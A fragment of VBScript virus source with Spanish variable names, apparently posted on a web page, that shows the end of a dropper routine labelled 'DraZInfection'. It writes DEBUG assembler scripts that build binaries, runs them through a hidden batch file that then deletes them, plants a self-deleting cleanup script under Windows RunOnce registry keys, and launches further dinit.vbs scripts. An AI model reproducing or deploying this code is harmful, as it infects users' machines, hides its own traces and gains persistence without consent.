DrazSrcPif98.WriteLine("E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ")
 
DrazSrcPif98.WriteLine("E 04C0 00 00 00 00 00 01 00 ")
 
DrazSrcPif98.WriteLine("RCX")
 
DrazSrcPif98.WriteLine("400")
 
DrazSrcPif98.WriteLine("W")
 
DrazSrcPif98.WriteLine("Q")
 
DrazSrcPif98.Close()
 
Set DrazDebugPif = AccesoHD.CreateTextFile("C:\dbg.bat",1,false)
 
DrazDebugPif.WriteLine("@echo off")
 
DrazDebugPif.WriteLine("debug &lt; C:\draz.src &gt;nul")
 
DrazDebugPif.WriteLine("debug &lt; C:\draz95.src &gt;nul")
 
DrazDebugPif.WriteLine("debug &lt; C:\draz98.src &gt;nul")
 
DrazDebugPif.WriteLine("del C:\draz.src")
 
DrazDebugPif.WriteLine("del C:\draz95.src")
 
DrazDebugPif.WriteLine("del C:\draz98.src")
 
DrazDebugPif.Close()
 
Ejecutar.Run "C:\dbg.bat","0"
 
Set DraZInfectionClean = AccesoHD.CreateTextFile("C:\dclean.vbs",1,false)
 
DraZInfectionClean.WriteLine("On Error Resume Next")
 
DraZInfectionClean.WriteLine("Set AccesoHD = CreateObject(" &amp; Chr(34) &amp; "Scripting.FileSystemObject" &amp; Chr(34) &amp; ")")
 
DraZInfectionClean.WriteLine("AccesoHD.DeleteFile " &amp; Chr(34) &amp; "C:\dbg.bat" &amp; Chr(34))
 
DraZInfectionClean.WriteLine("AccesoHD.DeleteFile " &amp; Chr(34) &amp; "C:\dclean.vbs" &amp; Chr(34))
 
DraZInfectionClean.Close()
 
Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfectClean" , "C:\WINDOWS\wscript.exe C:\dclean.vbs"
 
Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfect95Clean" , "C:\WIN95\wscript.exe C:\dclean.vbs"
 
Ejecutar.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\DraZInfect98Clean" , "C:\WIN98\wscript.exe C:\dclean.vbs"
 
Ejecutar.Run "C:\WINDOWS\dinit.vbs","0"
 
Ejecutar.Run "C:\WIN95\dinit.vbs","0"
 
Ejecutar.Run "C:\WIN98\dinit.vbs","0"

Deja un comentario